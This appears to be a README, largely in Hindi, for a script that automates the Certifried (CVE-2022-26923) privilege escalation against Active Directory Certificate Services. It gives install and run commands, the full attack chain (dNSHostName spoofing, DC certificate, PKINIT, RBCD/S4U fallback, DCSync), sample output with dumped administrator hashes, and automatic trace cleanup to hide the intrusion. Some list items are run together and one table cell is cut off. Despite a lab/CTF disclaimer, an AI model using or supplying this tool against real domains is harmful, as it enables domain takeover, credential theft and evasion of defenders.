
Automated CVE-2022-26923 Exploitation (Certifried)
CVE-2022-26923 (Certifried) का स्वचालित दोहन, जो Active Directory Certificate Services (AD CS) के दुरुपयोग के माध्यम से विशेषाधिकार वृद्धि को सक्षम बनाता है, Resource-Based Constrained Delegation (RBCD) के लिए स्वचालित फ़ॉलबैक के साथ, अंततः एक डोमेन व्यवस्थापक खाते का NTLM हैश निकालता है।
⚠️ केवल शैक्षिक उद्देश्यों के लिए / लैब / CTF
अनधिकृत वातावरण में उपयोग न करें।
यह स्क्रिप्ट निम्नलिखित आक्रमण श्रृंखला को स्वचालित करती है:
dNSHostName विशेषता को स्पूफ करेंsecretsdump.py के साथ DCSync आक्रमण करेंbloodyAD के साथ उपयोग के लिए PFX को PEM में बदलेंimpacket-addspn के माध्यम से समझौता किए गए मशीन खाते में SPN जोड़ेंgetST.py के साथ S4U2Self + S4U2Proxy टिकट का अनुरोध करेंsecretsdump.py के माध्यम से NTLM हैश डंप करेंdNSHostName विशेषता में हेरफेर करके डोमेन कंट्रोलर के रूप में प्रतिरूपण करने की अनुमति देता है, जिससे CA DC खाते के लिए प्रमाणपत्र जारी कर देता हैpipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip IP address of the Domain Controller
-D, --domain Domain name (e.g. corp.local)
-u, --user Valid domain user (UPN format: user@domain)
-p, --pass User password
--verbose Debug mode: display all executed commands
-h, --help Show this help message
./CVE-2022-26923.sh \
-d 10.129.227.189 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
सुझाव: चलाने से पहले, निम्न का उपयोग करके सटीक CA नाम और टेम्पलेट पहचानें:
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdoutफिर तदनुसार स्क्रिप्ट डिफ़ॉल्ट में
CA_NAMEऔरTEMPLATEअपडेट करें।
वातावरण के आधार पर, दो में से एक मार्ग सफल होगा:
विधि 1 (क्लासिक):
[5] Classic authentication attempt (Recovering DC hash)... [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...
[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::
विधि 2 (RBCD फ़ॉलबैक):
[5] Classic authentication attempt (Recovering DC hash)... [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...
[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::
OPSEC सफ़ाई अंत में (या Ctrl+C पर) स्वचालित रूप से चलती है:
[*] Starting trace cleanup (OPSEC)...
[OK] Cleanup complete.
Random Machine Account Creation (e.g. PWN8472$)
↓
dNSHostName Spoofing → dc.domain.local
↓
Dynamic LDAP Sync Verification (polling)
↓
Certificate Request via RPC (Machine Template)
[NETBIOS timeout auto-retry up to 5x]
↓
┌─────────────────────────────────────────┐
│ METHOD 1 — CLASSIC │
│ certipy-ad auth -pfx dc.pfx │
│ → DC NTLM hash via PKINIT │
│ → DCSync via secretsdump │
└────────────────┬────────────────────────┘
│ [FAILS]
▼
┌─────────────────────────────────────────┐
│ METHOD 2 — RBCD FALLBACK │
│ PFX → PEM conversion (openssl) │
│ bloodyAD: add rbcd dc$ COMP$ │
│ impacket-addspn: SPN on COMP$ │
│ getST: S4U2Self + S4U2Proxy (cifs/) │
│ secretsdump via KRB5 ticket │
└─────────────────────────────────────────┘
↓
OPSEC Cleanup (trap EXIT/INT/TERM)
- Remove RBCD attribute on DC
- Delete machine account (COMP$)
- Wipe local PFX / PEM / ccache files
यह परियोजना निम्न के लिए प्रदान की गई है:
लेखक इस उपकरण के किसी भी अनधिकृत या अवैध उपयोग के लिए कोई दायित्व नहीं मानता है।
| उपकरण | उद्देश्य |
|---|
certipy-ad | खाता निर्माण/अद्यतन, प्रमाणपत्र अनुरोध, PKINIT प्रमाणीकरण |
bloodyAD | RBCD विशेषता हेरफेर (फ़ॉलबैक) |
impacket-addspn | मशीन खाते पर SPN जोड़ना (फ़ॉलबैक) |
impacket-getST | S4U2Self + S4U2Proxy टिकट अनुरोध (फ़ॉलबैक) |
impacket-secretsdump | DCSync / NTLM हैश डंप |
openssl | PFX → PEM रूपांतरण (फ़ॉलबैक) |
| लक्षण | कारण | समाधान |
|---|
NETBIOS connection timed out | HTB पर AD CS RPC अंतराल | स्वचालित रूप से नियंत्रित (5 पुनर्प्रयास) |
KDC_ERR_BADOPTION getST पर | COMP$ पर SPN गायब | स्क्रिप्ट अब getST से पहले impacket-addspn का उपयोग करती है |
KDC_ERR_WRONG_REALM secretsdump पर | गलत SPN (LDAP बनाम cifs) | स्क्रिप्ट getST के लिए cifs/ SPN का उपयोग करती है |
Clock skew too great | केर्बरोस समय विचलन | चलाने से पहले sudo ntpdate <DC_IP> |
| मशीन खाता विलोपन विफल | अपर्याप्त AD अधिकार (सामान्य) | स्क्रिप्ट ` |
unrecognized arguments certipy-ad के साथ | गलत सिंटैक्स (पुराना certipy प्रारूप) | स्क्रिप्ट स्पष्ट फ़्लैग -u/-p/-target-ip का उपयोग करती है |